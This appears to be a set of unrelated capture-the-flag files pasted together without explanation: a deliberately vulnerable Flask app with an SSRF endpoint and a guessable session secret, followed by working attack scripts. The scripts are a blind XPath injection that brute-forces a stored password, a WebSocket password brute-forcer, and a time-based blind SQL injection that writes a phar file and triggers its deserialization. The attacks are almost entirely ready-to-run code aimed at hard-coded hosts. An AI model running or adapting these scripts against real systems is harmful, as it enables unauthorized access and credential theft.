# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

import requests
import string
import re
import random
import json

s = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param='<input type="hidden" id="token" value="(.*?)" />'
t=''
for i in range(1,50):
    for j in strs:
        url = 'http://10506bbe-96d3-4ebf-99ca-6fddf8972f8a.node4.buuoj.cn:81/login.php'
        token=re.findall(param,s.get(url).text)[0]
        #探测有几个节点：
        #data=f"<username> ' or count(/)={i} or '1</username><password>123</password><token>"+token+"</token>" 探测出有一个节点
        #data = f"<username> ' or substring(name(/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"#第一个节点名称为root
        #data=f"<username> ' or substring(name(/root/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>"+token+"</token>"
        #data = f"<username> ' or substring(name(/root/accounts/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
        #探测user下的节点，发现有三个
        #data = f"<username>' or substring(name(/root/accounts/user/*[1]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
        #data = f"<username>' or substring(name(/root/accounts/user/*[2]), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
        #最后读取值的时候直接输入路径即可，无需在用name()包裹
        data = f"<username>' or substring(/root/accounts/user[2]/password/text(), {i}, 1)='{j}' or '1</username><password>123</password><token>" + token + "</token>"
        print(data)
        r= s.post(url=url,headers=headers,data=data).text
        print(r)
        if '非法操作' in r:
            t += j
            print(t)
            break
        if j==0:
            exit()

import asyncio
import websockets

async def hello():
    with open("test_pa.txt","r") as f:
        paswd=f.readlines()
        for i in paswd:
            uri = "ws://web1.utctf.live:8651/internal/ws"
            async with websockets.connect(uri) as websocket:
                await websocket.send('begin')
                result = await websocket.recv()
                #print(result)
                await websocket.send('user admin')
                await websocket.send('pass '+i.replace("\n",""))
                result = await websocket.recv()
                print(result)
                print(f'pass {i}'.replace("\n",""))
                if result!= "badpass":
                    print(i)
                    break


asyncio.get_event_loop().run_until_complete(hello())

import requests
import time
import random
import string
import os
import binascii
s=requests.session()
url="http://110.42.133.120:7001"

def req(key, value):
    resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value})
    return resp

def get_secure_file_path():
    file_path = ""
    for i in range(1,10000):
        low =0
        high=264
        mid=(low+high)//2
        while(low<high):
            payload = f"select if (ascii(substr((select @@global.secure_file_priv),{i},1))>{mid},sleep(5),1);"
            #print(payload)
            fi_time=time.time()
            s.get(url+payload)
            if time.time()-fi_time>4:
                low = mid+1
            else:
                high=mid
            mid=(low+high)//2
        if(mid==0 or mid==264):
            break
        file_path +=chr(mid)
    return file_path

def exp(file_path):
    filename="".join(random.sample(string.ascii_letters,6))+'.phar'
    file=os.path.join(file_path,filename)

    hex_data=str(binascii.b2a_hex(open('test.phar','rb').read())).replace("b'","").replace("'","")
    print(hex_data)
    command=f"select 0x{hex_data} into dumpfile '{file}'"
    print(command)
    req('3',command)

    command=f"select if((ISNULL(load_file('{file}'))),sleep(2),1);"
    if req('3', command).elapsed.seconds > 1.5:
        print("file write fail!")
        exit()

    req('3',"FLUSH PRIVILEGES;")
    time.sleep(5)
    print(file)
    resp = req('35', 'phar://' + file)
    print(resp.text)

if __name__=='__main__':
    #file_path=get_secure_file_path()
    file_path="/tmp/ce4d60d5da0336986edff5e01d97c73e/"
    print(file_path)
    exp(file_path)